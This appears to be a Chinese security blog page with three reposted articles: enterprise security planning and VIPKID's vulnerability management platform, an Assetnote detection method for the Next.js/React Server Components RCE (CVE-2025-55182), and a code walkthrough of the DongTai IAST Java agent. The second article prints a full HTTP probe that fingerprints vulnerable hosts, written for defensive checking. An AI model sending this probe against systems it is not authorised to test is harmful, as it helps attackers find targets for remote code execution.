四、互联网企业核心安全目标

企业面临的安全挑战和风险分析清楚后,现在到了树立目标解决问题的时刻。虽然由于每个企业所处的发展阶段、业务特性和所属行业的不同,会导致每个企业的具体安全需求、目标的侧重点有所区别。比如同样是讲数据安全,电商和教育公司对于要保护的数据内容和关注点是有明显差异的。但是对于安全目标有很多地方是一致的,一起来看下:

image

五、互联网企业核心安全能力建设

要实现以上安全目标,就需要企业安全团队具备相应的安全能力。通过提炼总结,我认为一个企业安全团队应当具备五大核心安全能力:

安全风险主动发现与处置能力

具备主流安全风险(数据、业务、漏洞)主动发现、修复方案提供和修复推动能力

安全态势感知和响应能力

具备主流网络攻击、明显异常行为的主动发现和快速应急响应能力

安全自动化、工程化能力

自动化安全工具、系统及平台的设计、研发能力

安全体系建设与运营能力

安全是一个整体,同时也是一个动态和持续的过程,这就要求企业安全团队具备体系化安全建设思维、视野和格局和持续安全运营能力

持续的安全研究和学习能力

业界会不断出现新的漏洞、新的威胁、新的攻击手法,具备应对新攻击、威胁、漏洞的能力也至关重要

image

六、互联网企业安全蓝图

一个企业的安全未来会做成什么样子?这就需要一张安全蓝图来描述和表达,然后朝着这个方向和目标不断努力,最终实现目标。

首先,从顶层安全设计说起,一个企业要有统一和明确的安全战略规划,并定期review,保证安全建设不偏离大方向;其次,要有合理、高效的安全组织架构,把安全团队放到合理的位置,这样才能更好的发挥安全团队的价值;通过持续的安全投入和制定明确合理的安全考核与激励机制,调动安全团队的积极性和促进安全团队的良性发展。最终建立一套相对完善和契合企业自身业务特性的安全体系。但是光有体系还不够,还需要通过持续的安全运营来保障整个体系有效运行。所有这些工作最终都需要有人来完成,所以要实现以上目标,还需要一只专业安全团队加上与之匹配的专业安全能力。如果光有规划,没有人或者能力不足以支撑目标的实现,那么再好的规划也只是空中楼阁。反之也是一样,如果有人,能力也很强,但是没有正确的方向指引和明确的目标,最终也只能沦为救火队员,成为不了一流的安全团队。

image

七、互联网企业安全整体视角

前面我们说到安全是一个整体,并且整个安全体系中包含的内容非常多且杂。我尝试从企业安全整体视角做了梳理,一起来看下企业安全都主要包含哪些方面和内容:

image

八、如何落地实施

现在安全目标已明确,规划也有了。还有一个至关重要的问题没有解决,那就是如何将安全规划落地,并且变成一件可跟踪和量化的事情?这是一件非常有挑战,也是一件可以真正积累安全实践经验的事情。我的思路和建议是把整个安全规划中的内容先列出来,把一个大安全目标分解成多个小安全目标,然后列出打算如何实现这些安全目标,哪些安全产品打算自研,哪些需要和第三方安全厂商合作,最终依据企业目前的安全现状、现有资源以及项目优先级进行排期和实施,并定期跟进这些项目的进度,及时解决、改进整个过程中存在的问题,最终目标是建立一个相对完善的企业安全体系。这部分内容非常多,有机会单独写出来。

image

九、分阶段安全体系建设

从零开始建设一个完善的企业安全体系需要做的事情很多,这并不是一件一蹴而就的事情,而是一个分阶段逐步推进的过程,是一个系统化的工程。在这个过程中企业的安全能力会逐步得到提升。我个人认为,通常一个企业的安全建设需要经历以下几个阶段:

image

救火阶段

这是一个企业安全从无到有必须到经历的阶段,从字面上就可以看出这个阶段安全工作比较被动,安全人员很多时候是充当救火队员的角色。这个阶段工作的核心是解决目前企业遇到最严重、优先级最高的安全问题,在这个过程中要尽快熟悉公司的环境、业务、系统架构等。此外,这个阶段还有个不小的挑战就是如何找到合适的人才组建安全团队。

基础安全建设阶段

在经历救火阶段后,就要开始基础安全建设了。这个阶段的核心安全目标是解决安全规划中优先级最高的安全问题。这个过程会制定、实施一些基础的安全流程和规范,开发一些自动化的安全工具、系统,功能也许不是十分完善,但是可以满足目前的安全需求。还会在一些方面和第三方安全厂商合作,通过购买一些安全产品或服务来提升企业自身安全水平。比如像定期渗透测试、安全众测、抗D、堡垒机、防火墙这类基础安全服务和设备。

保障核心业务和数据安全阶段

这个阶段以保障核心业务和数据安全为核心安全目标。这是由客观条件决定的。举个例子:一个大、中型互联网公司都会有多条业务线,每条业务线又会有多个业务系统,而且这些业务线可能会分布在多个不同的部门,由不同的人负责。如果一上来就想在所有业务线推广严格的SDL流程,很大机率会失败。因为这个阶段安全团队的人不会很多,并没有足够的精力和资源去做覆盖所有业务线的事情。比较明智的做法是先从核心业务系统切入,待整个流程跑通、理顺后再向其他业务线推广。

保障公司整体安全

发展到这个阶段,安全团队已经具有一定规模,各种安全角色也基本到位。也有了很多的安全系统、平台,具备一定的安全自动化能力。所以这个阶段的主要目标是把已有的安全系统、平台进行进一步整合,打磨,进而可以进行高度的联动和关联分析,从而达到更好的掌控公司整体安全态势的目标。有精力还可以将现有安全系统、平台产品化,为下一步对外输出安全能力做好准备。

对外输出安全能力

这个阶段只有当公司体量、业务和安全团队发展的足够大时,才可能有机会做这样的事情。所以这里不作过多讨论。

十、做好安全建设的必要条件

上面说了这么多,其实一个企业的安全能否做好、做强,做大,并非是一个简单的技术问题,而是由多种因素综合决定的。除了安全对企业业务发展的影响度、安全负责人的综合能力和视野、契合企业自身业务特性的安全建设规划、持续的安全投入和专业安全团队外,公司高层是否拥有正确的安全观和给予大力支持也至关重要。

正确的安全观:安全是相对的。互联网企业安全绝不是做一次渗透测试、找安全公司提供个安全解决方案或者购买一些安全产品及安全服务就可以搞定的事情。安全是一个整体,同时也是一个动态和持续的过程,这就要求公司要有持续的安全投入。此外,安全也不只是安全部门的事,还需要全员的参加和高层的大力支持,否则很多安全规划很难真正落地实施。

image

十一、如何衡量安全建设的效果

如何衡量企业安全建设的效果和量化安全工作,是一件非常难的事情。我想这也是很多企业安全负责人面临的难题和挑战。我也面临这种困惑,在这里分享一些我个人的思考和看法。

要评价一个企业安全建设的效果,或者说好坏,我认为应该以企业设定的安全目标和TCO、ROI为基本前提,从安全组织、安全能力、安全体系、安全运营、安全意识这五个方面来展开评价,每个方面可以设定一些核心的评价指标来衡量,下面来一起看下:

安全组织

评价对象:公司高层、安全负责人

评价指标(参考):1、安全团队规模;2、团队角色构成和分布;3、部门层级;4、安全负责人的职级和汇报对象

通过以上几个指标基本可以判断出一家企业高层对于安全的理解和认知水平,是真正重视安全还是口头重视。

安全能力

评价对象:安全团队

评价指标(参考):1、安全风险主动发现和处置能力;2、安全态势感知和响应能力;3、安全自动化、工程化能力;4、安全体系建设、运营能力;5、持续的安全研究和学习能力

安全体系

评价对象:安全团队

评价指标(参考):1、安全体系的合理性和完整性

安全运营

评价对象:安全团队

评价指标(参考):1、是否实现持续运营;2、是否设定运营指标及指标是否合理、明确;3、运营指标是否可量化和可视化;4、运营指标设定和实现粒度;5、是否有运营指标考核标准及标准是否落地执行

安全意识

评价对象:公司全员

评价指标(参考):1、知晓和理解公司对其在信息安全方面的职责和义务要求员工数占比;2、单位时间内因人员安全意识薄弱导致安全事件和安全违规事件数量和占比

image

十二、安全漏洞管理平台建设实践

上面主要介绍了企业安全建设规划相关内容,下面我会从技术、管理和运营三个层面来分享一些VIPKID在安全漏洞管理方面的实践和经验。

技术层面

在技术层面,我们自研了VK安全漏洞管理平台,该平台负责管理公司所有安全漏洞,实现了漏洞全生命周期的线上跟踪与处理,保障漏洞处理流程的可跟踪、维护和高效执行,可视化、量化漏洞风险,支撑漏洞管理和运营工作的开展,将企业的漏洞和安全经验有效积累和沉淀下来,形成企业自己的安全知识库;

管理层面

在管理层面制定和实施了”VK安全漏洞管理制度”和”VK安全接口人制度”;通过这两个安全管理制度定义和明确了漏洞整体处理流程、漏洞等级评估依据、漏洞修复时长和对应的安全接口人等;

运营层面

在运营层面,定义和明确漏洞运营指标、采取专人负责,从多个维度实现漏洞风险的量化和可视化,通过持续的漏洞运营使整个漏洞处理流程形成闭环。

image

VIPKID安全漏洞管理平台基于漏洞全生命周期建立,整个漏洞修复流程过程可以分为五个阶段,在这过程中一旦漏洞状态发生变化,系统都会自动触发邮件提醒给相关方。

1、漏洞提交阶段:

当有新的安全漏洞产生,安全人员会通过漏洞管理平台的漏洞提交页面提交漏洞;

2、漏洞接收阶段:

对应安全接口人在收到新漏洞提醒邮件后,可以登录漏洞管理平台查看漏洞详情和进行漏洞修复排期评估工作。

3、漏洞修复阶段:

此时将进入漏洞修复阶段,安全接口人可以可根据实际情况确认是自己修复,还是指派给团队其他成员修复。

4、漏洞验证阶段:

当漏洞修复完成,由安全接口人在漏洞管理平台发起”验证申请”,这时系统会同步给漏洞提交人发送一份漏洞验证的提醒邮件。漏洞提交人在收到信息后进行漏洞验证,确认漏洞是否被正确修复。如果验证通过,漏洞提交人可以在漏洞管理平台点击”验证通过”按钮,这时漏洞会自动进入下一阶段;如果验证发现漏洞没有正确修复,可以点击”未验证通过”按钮,漏洞自动退回至第二阶段。

5、漏洞公开阶段:

到这个阶段,说明漏洞已经被正确修复,漏洞修复流程结束。这时会对内部人员开放,漏洞公开时,系统会同步给漏洞提交人、对应安全接口人发送漏洞公开的邮件提醒。

image

该平台共实现了五大核心功能,分别是资产管理、漏洞管理、漏洞态势、用户中心和安全知识库。

资产管理的核心功能包含资产的添加、编辑、删除、资产列表等功能,并实现了资产关联对应安全接口人、所属团队或业务线;漏洞管理功能模块除了实现漏洞修复流程全线上处理和状态跟踪外,还包含漏洞等级、来源、类型和漏洞提醒管理;漏洞态势功能从多个维度实现了漏洞态势的量化和可视化;用户中心分为角色管理、用户管理、权限管理和个人中心四部分;安全知识库支持记录和分享安全相关文章。

image

因为时间关系,我这里会介绍部分功能的设计细节,

漏洞提交功能:

为了保证每个安全人员提交漏洞报告格式保持一致和提升可读性,我们设计了统一的漏洞提交页面,在该页面通过系统限制必须填写漏洞标题、受影响系统、漏洞类型、漏洞等级、漏洞来源、漏洞描述、漏洞危害、漏洞详情以及漏洞修复方案。为了提升用户体验,还支持漏洞提交预览、快速定位受影响系统、上传图片和生成临时查看链接等功能。

漏洞编号功能:

当漏洞提交时,系统会自动生成一个惟一的漏洞编号和关联对应的安全接口人、漏洞修复时长和漏洞知识库链接。每个漏洞都会有一个惟一的漏洞编号,这个编号是经过特殊设计的,比如SEC-VD-201808-007,通过这个编号就可以得知当前漏洞是2018年8月份每7个漏洞。如果想要知道本月共有多少个安全漏洞,直接看最新的漏洞编号即可,非常的方便。

漏洞提醒功能:

为了提升安全人员漏洞修复跟进效率和降低成本,漏洞管理平台除了漏洞状态变化提醒功能外,还有一个漏洞延期提醒功能,系统会自动扫描所有待修复漏洞,当发现有延期漏洞时,会自动给漏洞提交人、对应安全接口人和其所在部门负责人发送漏洞延期修复提醒,由部门负责人来协调资源高优处理。这样就避免了安全人员人工去跟进,尤其是在漏洞数量多的时候,这个功能非常有用。

image

为了做到漏洞态势和风险的量化、可视化,我们会从漏洞数量、漏洞状态、类型、等级、来源分布、漏洞修复率以及安全人员发现漏洞数量等多个维度进行分析和监控,并通过合理的设计以图表的形式直观的展现出来。

image

整个漏洞管理平台分为五种角色,分别是安全专家、安全接口人、部门负责人、普通用户和管理员。通过给每个角色来授权进行统一的权限划分和管理。

安全专家:可以提交和管理和自己相关的安全漏洞;

安全接口人:可以查看和管理自己所负责业务系统的漏洞;

部门负责人:可以查看自己负责部门的所有漏洞;

普通用户:只允许查看已修复公开的漏洞;

管理员:拥有平台最高权限。在个人中心,各种角色都可以清晰的查看与自己相关漏洞的详情和对应的漏洞态势。

image

安全漏洞管理平台的价值:

通过该漏洞管理平台,我们实现了漏洞全生命周期的线上管控、做到了量化和可视化漏洞风险,通过对漏洞数据进行统计和分析,从而可以主动掌控公司整体的漏洞态势和弱点。最后将历史漏洞和安全经验积累和有效沉淀,形成公司的安全知识库,也可以在一定程度上为安全漏洞管理和运营工作提供方向和依据。

image

但是光有漏洞管理平台还不够,如果有平台但是大家都不用,那么平台的价值是体现不出来的。所以要想做好漏洞管理工作,需要通过技术、管理和运营三个层面共同协作,相互促进,缺一不可。通过管理手段来明确和规范漏洞修复处理流程与安全接口人职责;通过技术手段来实现和保障漏洞处理流程的高效和落地执行,以及量化和可视化漏洞风险,从技术维度支撑漏洞管理和运营工作的开展;最后通过持续的漏洞运营来使整个漏洞处理流程形成完整闭环和不断优化漏洞处理整体流程,最终实现持续提升漏洞管理水平和能力的目的。

十三、写在最后

互联网企业安全建设之路任重而道远,包含的内容实在是非常的多和广,绝非一篇文章、一次分享能够说的清楚。由于本人能力有限,文中肯定有一些不足之处,欢迎大家一起探讨,共同进步。

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

High Fidelity Detection Mechanism for RSC/Next.js RCE (CVE-2025-55182 & CVE-2025-66478)

本文转自 Adam Kues 并作补充

今天早上,Next.js 发布了安全公告存在一个漏洞,即使在默认配置下也会导致远程代码执行 (RCE),且无需任何前提条件。此问题的根源在于 Next.js 使用的 React 服务器组件。

在过去的一天里,我们注意到 GitHub 上流传着大量不正确的 PoC,这些 PoC 并不能以较高的置信度真实地证实此漏洞的存在。

我们在 GitHub 上看到的一些 PoC 完全误诊了漏洞的根本原因,关键在于它无需任何前提条件(例如上下文中存在某些函数)即可在 Next.js 上利用该漏洞。

虽然我们已在下方提供了 HTTP 请求和预期响应,但如果您希望使用工具来检测主机列表中的此问题,请参阅我们 GitHub 上的漏洞代码库:https://github.com/assetnote/react2shell-scanner。

该漏洞的原始作者确认,GitHub 上的这些 PoC 与之前分享给 React 和 Next.js 维护者的漏洞利用程序并不相同。请参阅作者在 GitHub 上的留言。https://react2shell.com/。

虽然有几种机制可以确定资产是否正在运行 React Server Components (RSC),但仅仅验证 RSC 是否存在并不足以确定资产是否真的容易受到此 RCE 攻击。

因此,我们的安全研究团队进行了调查,以确定可用于安全可靠地确认 Next.js 应用程序中是否存在此 RCE 漏洞的 HTTP 请求。

注意:我们收到报告称,一些用户声称在响应摘要错误的主机上存在漏洞,但并未明确发送以下有效载荷。此有效载荷对于确认该漏洞的存在至关重要。即使以下有效载荷可能在受影响的 Next.js 版本范围之外也能检测到漏洞;但是,由于 WAF 会对完整的 RCE 有效载荷进行保护,因此仍然需要进行检查。

可以使用以下HTTP请求来确认是否存在漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
POST / HTTP/1.1
Host: hostname
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%2Cnull%2Cnull%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 232

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

当使用存在漏洞的 Next.js 版本发送上述请求时,HTTP 响应将如下所示:

1
2
3
4
5
6
7
8
9
10
HTTP/1.1 500 Internal Server Error
Date: Thu, 04 Dec 2025 06:16:39 GMT
Content-Type: text/x-component
Connection: keep-alive
Cache-Control: no-store, must-revalidate, no-cache, max-age=0
Vary: rsc
Content-Length: 76

0:{"a":"$@1","f":"","b":"yd-J8UfWl70zwtaAy83s7"}
1:E{"digest":"2971658870"}

检查是否存在E{"digest"500 状态码,可以可靠地返回环境中存在漏洞的主机。

为什么这种检查有效?

之所以能够通过此检查区分易受攻击的主机和非易受攻击的主机,是因为 React-Server 依赖项使用冒号来分隔对象属性。请参见以下代码片段:

1
2
3
4
5
6
7
8
9
10
11
12
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any, parentObject: Object, key: string) => T,
): T {
const path = reference.split(':');
// ... snip ...
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}

例如,如果我们像这样在多部分请求中传递 JSON:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:b"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{"a":{"b":"foo"}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

这将转化为以下内容:

1
"$1:a:b" -> {"a":{"b":"foo"}}.a.b -> "foo"

在存在漏洞的 React Server 版本中,我们可以通过以下 multipart 请求强制返回 500 错误:

1
2
3
4
5
6
7
8
9
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

["$1:a:a"]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

{}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

之所以会引发异常,是因为它最终映射到以下内容:

1
"$1:a:a" -> {}.a.a -> (undefined).a -> 500

React Server Components 的补丁版本为这种冒号表示法添加了额外的检查,从而防止崩溃发生:

1
2
3
4
const name = path[i];
if (typeof value === 'object' && hasOwnProperty.call(value, name)) {
value = value[name];
}

这意味着如果:语法引用了不存在的属性,则会被忽略。这意味着补丁之后,我们将不再收到 500 错误。

Assetnote 攻击面管理平台的客户今天早些时候通过我们安全研究团队开发的高保真检查收到了有关其整个攻击面存在此漏洞的通知。

洞态IAST试用

洞态IAST试用

本文转自 素十八 并作补充

image

0x01 前情提要

北京时间11点42分,正准备划 20 分钟水去吃午饭,园长突然跟我说过火线的 IAST 突然开源了,原名灵芝IAST更名为洞态IAST,真是OMG。

IAST 也是同样使用 agent 技术。同样一种技术,在不同人的手里用法也不同,同一种思路在不同人手里的实现方式也可能存在差异。那么既然他开源了,那就来看一看学习一下他的思路和实现,也顺便测试一下产品,取其精华。

能有这样的产品开源供广大安全从业者测试和学习真的是一件非常好的事,真的是要撒花庆祝,感谢老板。由于明确项目定位是 IAST 产品,因此主要关注的是检测能力的实现和 sink/source/hook 点的选取。

项目地址:https://github.com/HXSecurity/DongTai-agent-java

文档地址:https://github.com/HXSecurity/DongTaiDoc

0x02 项目结构

首先看一下整个的代码逻辑,项目总共分为 3 个模块,分别是 iast-agentiast-coreiast-inject

iast-agent

入口类是 com.secnium.iast.agent.Agent,与任何一家使用 java agent 技术的产品一样,洞态也是使用了 Sun JVM Attach API 将 agent 附加到指定的 Java 进程上。

image

com.secnium.iast.agent.IASTProperties 是 agent 的单例配置类,从 src/main/resources/iast.properties 中读取配置。

com.secnium.iast.agent.IASTClassLoader 是 agent 自定义的 ClassLoader,继承自 URLClassLoader,这个类的代码参考自 jvm-sandbox,其中需要注意的是,在卸载 agent 时需要关闭 ClassLoader,如果不能通过 ClassLoader 的 close() 方法进行关闭,则需要寻找已经打开的 jar 文件并释放文件句柄。

com.secnium.iast.agent.UpdateUtils 是由客户端主动向云端发送请求,用来检查版本更新和发送更新状态,其中静态方法 sendRequest() 可以向外发送 Http 请求。也可以看到发送请求使用了 ua: SecniumIast Java Agent ,这部分其实可以做为一个特征。

com.secnium.iast.agent.AgentLauncher 是在应用程序指定了 javaagent 参数情况下的入口类,这个类中的 premainagentmain 方法均调用了共同的 install() 方法安装 agent。这个方法则是调用 com.secnium.iast.agent.manager.EngineManager 对整个流程进行管理。

image

接下来我们看一下 EngineManager 这个类,这个类是 IAST 引擎管理器,并且使用单例对象,首先执行的是 updateEnginePackage() ,更新 IAST 引擎需要的 jar 包,从云端进行下载。

然后调用 install() 方法,首先将 iast-inject.jar 注册到 BootstrapClassLoader 中,然后使用自定义的 IASTClassLoader 加载检测引擎 iast-core.jar ,并反射调用里面的 com.secnium.iast.core.AgentEngineinstall() 进行检测逻辑的初始化和加载动作。

image

进一步加载检测引擎中的多个引擎:

image

然后反射调用com.secnium.iast.core.AgentEnginestart() 方法,更新在检测引擎中的一个全局标识位。

image

检测引擎启动之后,agent 端还会启动几个守护线程:

  • PerformanceMonitor:负责监控jvm性能状态,如果达到停止阈值(80%),则停止检测引擎;如果达到卸载阈值(90%),则卸载引擎。
  • UpdateMonitor:监控云端,判断检测引擎是否需要更新。
  • EngineMonitor:监控配置文件 engine.status 配置项的更改。

image

这个模块就是起到一个 agent 入口的作用,无需多言。

iast-inject

这个模块只有一个类 java.lang.iast.inject.Injecter,难道不应该是 Injector 吗,害。

这个类定义了一些回调方法钩子:

image

并围绕这些钩子定义了若干方法,这些放在将会使用 ASM 时插入指定类的类字节码中。

image

这个类实际上是定义中间处理逻辑以及定义供 ASM 调用的方法。代码太长了,不想细看。

iast-core

这个模块如其名字,是整个 agent 的核心,我们先来看一下整个项目的目录结构:

  • engines:支撑整个模块调度的几个引擎,包括:ConfigEngine(通过云端返回结果构建IAST的模型规则),LoggerEngine(日志记录引擎),SandboxEngine(创建 EngineManager 实例),ServiceFactory(服务引擎,使用定时任务实现心跳、报告发送以及 http 请求重放机制),SpyEngine(初始化 SpyUtils),TransformEngine(创建自定义 ClassFileTransformer,使用 retransform 方法处理类字节码)
  • enhance:如其名——增强,包括了自定义 ClassVisitor、自定义 AdviceAdapter、sink/source 点的选取、对一些框架和中间件的适配、SCA 检查功能的实现等等。
  • handler:针对漏洞的检测逻辑、策略模型的建立、污点图的构造、对整个流程的处理。
  • middlewarerecognition:用来检测当前的中间件
  • replay:HTTP 请求重放
  • report:一些报告和日志的实现
  • threadlocalpool:一些需要在线程之间传递的类
  • util:工具类
  • 其他:一些负责管理和调用的类

另外,在这个项目的 resources 中,还有一些基础的 txt 以及 xml 的配置,这部分等调用到此的时候再说。

首先来继续之前的调用流程,iast-agent 通过反射调用com.secnium.iast.core.AgentEngineinstall() 方法,调用各个引擎的 start() 方法。此处关注其中几个引擎:

ConfigEngine 通过请求 /api/v1/profiles,并解析其中的结果,最后创建了一个 IASTHookRuleModel 实例,这个实例就是这个 agent 的处理模型,其中保存了很多处理中用到的规则。

image

TransformEngine使用 Instrumentation 接口,进行字节码的转换,调用了com.secnium.iast.core.enhance.IASTClassFileTransformer#retransform 方法。

image

这个方法使用了 IASTClassHookPointMatcher#findForRetransform() 使用 Instrumentation 对象的 getAllLoadedClasses() 获取所有已经被加载的类,并通过 com.secnium.iast.core.util.matcher.ConfigMatcher#isHookPoint() 方法进行筛选判断,返回了一个需要修改的类的 List 。

image

通过以上代码可知,agent 对以下的类没有 hook:

  • 类名 com/secnium/iast 开头的类
  • 类名 java/lang/iast/ 开头的类
  • 类名包含 CGLIB$$ 的类
  • 类名包含 $$Lambda$ 的类
  • 类型包含 _$$_jvst 的类
  • 在资源文件 com.secnium.iast.resources/blacklist.txt 写入的类,其中包括了:EDU/oswego/cs/dl/util/concurrent/*net/sf/ehcache/*net/bytebuddy/*com/secnium/*apple/*com/octo/captcha/*Routes$aQute/service/*ch/qos/logback/*bsh/*antlr/debug/*com/bea/common/*等。

在 blacklist.txt 中写了多达 7 万多行的类名和前后缀,根据其注释,这是为了过滤掉 Sandbox 所需要的类,防止 ClassCircularityError 的发生。

随后调用 retransformClasses() 会让类重新加载,从而使得注册的类修改器能够重新修改类的字节码,这要就会调用之前通过 addTransformer() 注册的 IASTClassFileTransformer 中重写的 transform() 方法。

方法里首先调用 com.secnium.iast.core.enhance.IASTClassAncestorQuery#scanCodeSource 通过获取 jar 包中的 manifest 信息并将其发送回云端,这部分是 SCA 功能的实现。

然后二次调用了 ConfigMatcher.isHookPoint() 判断 hook 类,感觉这个判断写重了,没必要。

IASTClassAncestorQuery 里缓存了 CodeSource/ClassLoader/ClassName/SuperName/Interfaces。

创建 ClassWriter,依然是使用 COMPUTE_FRAMES 自动计算帧的大小,并且重写了getCommonSuperClass() 方法,在计算两个类共同的父类时指定ClassLoader。

创建 IASTContext 上下文,初始化 PluginRegister,这个类中包含了一个全局常量 PLUGINS,里面保存了很多的处理插件,这些类都实现了 DispatchPlugin 接口,这个接口包含两个方法:

  • dispatch():分发不同的 classVisitor 处理对应的类
  • isMatch():判断是否命中当前插件

image

在上图的类中是 DispatchPlugin 的实现类,其中包含了 agent 中的一些 sink/source/hook 点,在这些类的 dispatch() 方法中,会创建继承至 AbstractClassVisitor 的各个ClassVisitor,在 ClassVisitor 中又通过重写 visitMethod() ,注册继承至 AbstractAdviceAdapter 的实现类,这些类重写父类的 before()/after() ,实际上是 AdviceAdapter 的 onMethodEnter()/onMethodExit() 实现了字节码的插入。具体的字节码插入部分是 ASM 的 API ,无需多言。

这里可以看到,洞态为每种不同的 hook点/sink点/source点订制了不同的 ClassVisitor 和 MethodVisitor,也就是说写入的字节码不一致,那到底写入了什么呢?通过看 ASM 的 API 比较难以阅读,还是在字节码写入后把 class dump 出来看比较方便。

SpyEngine 通过调用 java.lang.iast.inject.Injecter#init 方法将 com.secnium.iast.core.handler.EventListenerHandlers 中定义的全部处理方法存入了 namespaceMethodHookMap 中供全局调用。而在 EventListenerHandlers 中定义的这个方法,实际上又是由 Injecter 通过反射调用。

而后续系统的全部功能,都是由 EventListenerHandlers 中定义的这些方法处理和调度的,这里不再进行一一分析。

0x03 功能实现探究

支持漏洞

洞态 IAST 支持的漏洞类型位于 com.secnium.iast.core.handler.vulscan.VulnType,如下图:

image

对应配置文件中的 model.xml,通过反向查找调用就可以查看相关的处理逻辑,各位看官请自行评测,本文不会对每种漏洞的实现进行一一介绍。

SCA 实现

一个优秀的 IAST 一定有 SCA 一类的功能,简单的实现都是通过收集客户段组件信息,发送到云端通过匹配 CPE,并链接到对应的 CVE/CWE/CNNVD 等,并进行展示,先看一下洞态的云端效果,在组件管理:

image

看看右边的数量和左边的数量完全对应不上,难道是我对这些数字的理解有问题?点击进入条目,有该组件对应的一些信息的展示

image

再点击就有对应 CVE 的一些漏洞信息描述的信息。

image

那么这个功能是如何实现的呢?在前面提到 SCA 是由com.secnium.iast.core.enhance.IASTClassAncestorQuery#scanCodeSource 所实现,这个方法有两个出口,据我判断,应该是不会走到下面那个 scan() 方法。

image

com.secnium.iast.core.enhance.sca.ManifestScaner#parseJarManifest 调用 getPackgeInfo 获取 Attributes 中的 Implementation-Version 和 Implementation-Title

image

最后拼接出了一些对应的信息发送给云端。

image

云端接收到这些信息处理入库,并对接自己 CPE/CVE 漏洞信息库进行分析和展示。

这部分实际上是非常简单的实现,没有复杂的检查逻辑,这个功能 OWASP 有开源的,建议参考:https://github.com/jeremylong/DependencyCheck

sink/source/propagator/http

构建一个 IAST,重要的就是整个模型的构建,前面分析过,模型的构建是通过 buildRemote() 方法获取远端的配置。

image

由于这个 json 太长了,我没细看,在这里就不展示了,这个配置在本地也有一个 model.xml,以 xml 格式储存了这些信息,这些信息在处理后会被转为 IASTHookRuleModel 对象。

在这个配置中我们发现了一些标记,他们都代表什么呢?

  • type:这个 hook 点的类型,一个 hook 点会被分类为:1. 传播节点 2. source 点 3. filter 点 4. sink 点
  • value:方法类型
  • details:inherit 是否继承,value 方法签名,target 目标参数位置,source 源参数位置,track 标记是否要追踪

其中 sink 点要标记污点所在的参数位置,传播节点要标记源位置和目标位置。分类处理完这些配置文件后,将会将所有信息保存到 IASTHookRuleModel 中的一些变量中。

image

在之前的分析中就提到过,对于每一种不同的 hook 点,插入的字节码是不一样的。

sink 点插入:

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Injecter.enterSink("LingZhi");
if (Injecter.isFirstLevelSink("LingZhi")) {
Injecter.spyMethodOnBefore(对应sink点参数);
}

// 原始逻辑。。。

Injecter.leaveSink("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

传播节点:

1
2
3
4
5
6
7
8
9
10
11
12
13
try {
Injecter.spyMethodEnterPropagator("LingZhi");

// 原始逻辑。。。

if (Injecter.isFirstLevelPropagator("LingZhi")) {
Injecter.spyMethodOnBefore(对应传播节点参数);
}
Injecter.spyMethodLeavePropagator("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

source节点:

1
2
3
4
5
6
7
8
9
10
11
12
try {
Injecter.enterSource("LingZhi");

// 原始逻辑。。。

if (Injecter.isFirstLevelSource("LingZhi")) {
Injecter.spyMethodOnBefore(对应source参数}
Injecter.leaveSource("LingZhi");
return 返回结果;
} catch (Exception e) {
throw e;
}

http节点:

1
2
3
4
5
6
7
8
9
10
11
try {
Injecter.enterHttp("LingZhi");
if (Injecter.isFirstLevelHttp("LingZhi")) {
Injecter.spyMethodOnBefore(对应参数);
}
// 原始逻辑。。。

Injecter.leaveHttp("LingZhi");
} catch (Exception e) {
throw e;
}

这其中的逻辑,总结起来是这样的,系统中定义了了一个 com.secnium.iast.core.handler.controller.TrackerHelper,用来作为一个全局的计数器?(追踪器),当进入一个节点时,对应的成员变量会自增 1,而退出时,会 -1,并且判断当前节点是否为第一层级节点,如果不是,将不会走入后续 spyMethodOnBefore() 方法。这个类中还定义个一个 trackCounts,目前还没有用上。

spyMethodOnBefore() 方法中,将会 Hook 点类型的不同分别调用 HttpImpl.solveHttpPropagatorImpl.solvePropagatorSourceImpl.solveSourceSinkImpl.solveSink 进行不同点的处理。

http 节点处理

创建一个自定义的 com.secnium.iast.core.util.http.HttpRequest 对象,储存相关内容和 httpServletRequest 引用对象,静态文件不处理,目前定义的静态文件后缀是 .js,.css,.htm,.html,.jpg,.png,.gif,.woff,.woff2,.ico,.maps,.xml,看到了 htm/html 没有处理,这种情况下伪静态的网站可能会漏检查,根据正则查看 url 中是否含有 “login” 字样,并设置其是否为登陆 URL,将一些信息初始化和缓存到 EngineManager 中。这类节点主要负责标记和预处理的。

sink 节点处理

使用程序启动时加载的 IASTHookRuleModel,在其中获取方法签名对应的 sink 方法对象,这里返回的是一个 IASTSinkModel 对象,调用 com.secnium.iast.core.handler.vulscan.ScannerFactory#preScan 进行数据预处理,预处理主要是包括对 unvalidated-redirectsql-over-power 两种漏洞类型的处理。

